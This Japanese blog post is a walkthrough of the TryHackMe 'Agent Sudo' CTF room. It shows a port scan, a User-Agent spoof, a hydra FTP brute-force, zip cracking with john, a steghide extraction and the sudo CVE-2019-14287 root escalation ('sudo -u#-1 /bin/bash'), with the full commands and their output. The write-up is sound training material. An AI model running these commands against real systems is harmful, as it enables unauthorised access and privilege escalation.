Trance Shift 8 - Tech

@skyriserの技術系ネタメモ。とりあえずCTFのWriteup書いていく

Writeup | TryHackMe - Agent Sudo

Hack the Boxに挑戦したら力不足を感じたので、TryHackMeのEasyなCTFを進めていく。

TryHackMe | Agent Sudo

2.Enumerate

How many open ports?

rustscan -a 10.10.80.4 --ulimit 5000
...
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds

=> 3

How you redirect yourself to a secret page?

80番ポートが空いてるので、

を開くと、

Use your own codename as user-agent to access the site. 

=> user-agent

What is the agent name?

指示に従うと、UAを書き換えれば良い。 HintにUAをCにしろと書いてあるので、

curl -A "C" http://10.10.80.4/ -v
< HTTP/1.1 302 Found
< Date: Fri, 21 Oct 2022 12:36:32 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Location: agent_C_attention.php

リダイレクト先にアクセスすると、

curl -A "C" http://10.10.80.4/agent_C_attention.php -v
Attention chris, <br><br>
Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak! <br><br>

=> chris

3.Hash cracking and brute-force

FTP password

先ほどの画面によると、「お前のパスワード弱いよ!」と言ってるので、hydraでBruteForce

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.80.4
...
[DATA] attacking ftp://10.10.80.4:21/                                                                                                                                      
[21][ftp] host: 10.10.80.4   login: chris   password: XXXX

Zip file password

-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png

FTP接続して取りあえず全部get

Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

テキストファイルにこう書いてある。binwalkで調べてみると、

binwalk cutie.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22

png画像の方はzipファイルっぽいので、先頭のバイトを取り除く

vim -b cutie.png

zipファイルのヘッダーは先頭が 50 4b 03 04

ZIP101 an archive walkthrough
imgur.com

ここから上を削除する バイナリエディタWindowsに持ってきてStirlingを使ったけど、hexeditorが使えるようになった方がいいかもしれない。vimバイナリエディタはちょっと使いにくい...

50 4b 03 04

7za e cutie.zip

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 2700X Eight-Core Processor          (800F82),ASM,AES-NI)

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: cutie.zip
--
Path = cutie.zip
Type = zip
Physical Size = 280

    
Enter password (will not be echoed):
ERROR: Wrong password : To_agentR.txt

7zipっぽいので回答しようとするとパスワードを求めらるので、

zip2john cutie.zip > cutie.zip.hash
john cutie.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

数秒で割り出せる

steg password

先ほどのzipを解凍すると、中に To_agentR.txt が入ってる。 中身は、

We need to send the picture to 'QXJlYTUx' as soon as possible!

stegとはsteganographyのことだと思う。 もう片方の画像を見てみる。

steghide info cute-alien.jpg 
"cute-alien.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
steghide: could not extract any data with that passphrase!

steghideで調べると何か埋まってるが、QXJlYTUx がパスワードではない。 大文字小文字がある + xが存在してるので、BASE64っぽい。デコードしてみると、

echo QXJlYTUx | base64 --decode

6文字なのでこれ

Who is the other agent (in full name)?

ファイルを取り出してみる

steghide info cute-alien.jpg     
"cute-alien.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "message.txt":
    size: 181.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
steghide extract -xf message.txt -sf cute-alien.jpg 
Enter passphrase: 
wrote extracted data to "message.txt".
cat message.txt
Hi james,

Glad you find this message. Your login password is XXXX

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

=> james

SSH password

=> XXXX! だと思うけど、 XXXX で通った (回答自体はどっちでも通る?)

4.Capture the user flag

パスワードは ! 付きの方が正解

# 別の日に再開したのでIPが変わった
ssh james@10.10.180.39
cat user_flag.txt 

What is the incident of the photo called?

また画像がおいてあるので持ってきて、

scp james@10.10.180.39:~/Alien_autospy.jpg .
james@10.10.180.39's password: 
Alien_autospy.jpg

特に変な所はなさそうな画像。質問はこの写真ってなんて呼ばれてるの?なので、 Google画像検索に掛ける => ロズウェル事件 なるほど。

Roswell Incident Foxnews で検索

=> https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment

Filmmaker reveals how he faked infamous 'Roswell alien autopsy' footage in a London apartment`

=> Roswell alien autopsy

ちょっとわかりにくかった。英語ムズカシイ

5.Privilege escalation

CVE number for the escalation

とりあえずjamesで入る。

ssh james@10.10.180.39

お約束の sudo -l したら気になる記述が。

james@agent-sudo:~$ sudo -l
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

(ALL, !root) /bin/bash ってなんだ?(見たことない)と思って検索したら、

sudo 1.8.27 Security Bypass。

james@agent-sudo:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

たぶんこれだわ。

=> CVE-2019-14287

What is the root flag?

上のExploit DBの通りやる

james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root

簡単。

root@agent-sudo:~# cd /root/
root@agent-sudo:/root# ls
root.txt
root@agent-sudo:/root# cat root.txt 
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
XXXX

By,
DesKel a.k.a Agent R

(Bonus) Who is Agent R?

=> DesKel